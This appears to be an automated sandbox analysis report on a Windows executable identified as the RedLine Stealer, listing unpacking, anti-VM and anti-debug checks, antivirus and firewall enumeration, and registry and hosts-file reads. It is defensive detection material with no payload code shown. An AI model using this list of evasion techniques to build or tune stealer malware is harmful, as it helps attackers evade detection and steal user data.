                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00812DE00_2_00812DE0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008131700_2_00813170
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00817E8F0_2_00817E8F
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00818EB00_2_00818EB0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00816EF00_2_00816EF0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0081DE610_2_0081DE61
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008177C20_2_008177C2
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00812B000_2_00812B00
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0082A70E0_2_0082A70E
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00828F1C0_2_00828F1C
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: String function: 0040E1D8 appears 44 times
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: String function: 0081E428 appears 39 times
                      Source: WXekVwRNtG.exeBinary or memory string: OriginalFilename vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000003.290610678.0000000000840000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameHyetometer.exe4 vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmpBinary or memory string: OriginalFilename_.dll4 vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.381943233.000000000284B000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamechrome.exe< vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.381943233.000000000284B000.00000004.00000001.sdmpBinary or memory string: 6m,\\StringFileInfo\\040904B0\\OriginalFilename vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.381943233.000000000284B000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.381943233.000000000284B000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameIEXPLORE.EXED vs WXekVwRNtG.exe
                      Source: WXekVwRNtG.exeVirustotal: Detection: 72%
                      Source: WXekVwRNtG.exeMetadefender: Detection: 34%
                      Source: WXekVwRNtG.exeReversingLabs: Detection: 92%
                      Source: WXekVwRNtG.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\WXekVwRNtG.exe 'C:\Users\user\Desktop\WXekVwRNtG.exe'
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile created: C:\Users\user\AppData\Local\YandexJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile created: C:\Users\user\AppData\Local\Temp\tmpC33F.tmpJump to behavior
                      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@2/25@2/1
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4344:120:WilError_01
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCommand line argument: 08A0_2_00413780
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                      Source: WXekVwRNtG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: Binary string: C:\gataho semup\dozejayanayeja\sos41\cazuronavatopu\salip.pdblvBDGB source: WXekVwRNtG.exe
                      Source: Binary string: C:\gataho semup\dozejayanayeja\sos41\cazuronavatopu\salip.pdb source: WXekVwRNtG.exe
                      Source: Binary string: _.pdb source: WXekVwRNtG.exe, 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmp
                      Source: WXekVwRNtG.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                      Source: WXekVwRNtG.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                      Source: WXekVwRNtG.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                      Source: WXekVwRNtG.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                      Source: WXekVwRNtG.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

                      Data Obfuscation:

                      barindex
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeUnpacked PE file: 0.2.WXekVwRNtG.exe.400000.0.unpack
                      Detected unpacking (changes PE section rights)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeUnpacked PE file: 0.2.WXekVwRNtG.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0041C40C push cs; iretd 0_2_0041C4E2
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00423149 push eax; ret 0_2_00423179
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0041C50E push cs; iretd 0_2_0041C4E2
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004231C8 push eax; ret 0_2_00423179
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040E21D push ecx; ret 0_2_0040E230
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0041C6BE push ebx; ret 0_2_0041C6BF
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0081E46D push ecx; ret 0_2_0081E480
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion:

                      barindex
                      Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                      Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exe TID: 4896Thread sleep time: -9223372036854770s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeRegistry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWindow / User API: threadDelayed 1511Jump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWindow / User API: threadDelayed 7318Jump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: WXekVwRNtG.exe, 00000000.00000002.387408264.0000000007057000.00000004.00000001.sdmpBinary or memory string: VMware
                      Source: WXekVwRNtG.exe, 00000000.00000002.387408264.0000000007057000.00000004.00000001.sdmpBinary or memory string: Win32_VideoController(Standard display types)VMware_U6HS_1TWin32_VideoControllerUGEBF5AOVideoController120060621000000.000000-0006703..94display.infMSBDAAN_3NAEEPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsVO3XL_V8l
                      Source: WXekVwRNtG.exe, 00000000.00000002.387408264.0000000007057000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040CE09
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040ADB0 GetProcessHeap,HeapFree,0_2_0040ADB0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0081092B mov eax, dword ptr fs:[00000030h]0_2_0081092B
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00810D90 mov eax, dword ptr fs:[00000030h]0_2_00810D90
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeMemory allocated: page read and write | page guardJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040CE09
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040E61C
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00416F6A
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004123F1 SetUnhandledExceptionFilter,0_2_004123F1
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0081D059 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0081D059
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0081E86C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0081E86C
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008271BA __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_008271BA
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: GetLocaleInfoA,0_2_00417A20
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: GetLocaleInfoA,0_2_00827C70
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_00412A15
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

                      Stealing of Sensitive Information:

                      barindex
                      Yara detected RedLine StealerShow sources
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190ee8.3.raw.unpack, type: UNPACKEDPE
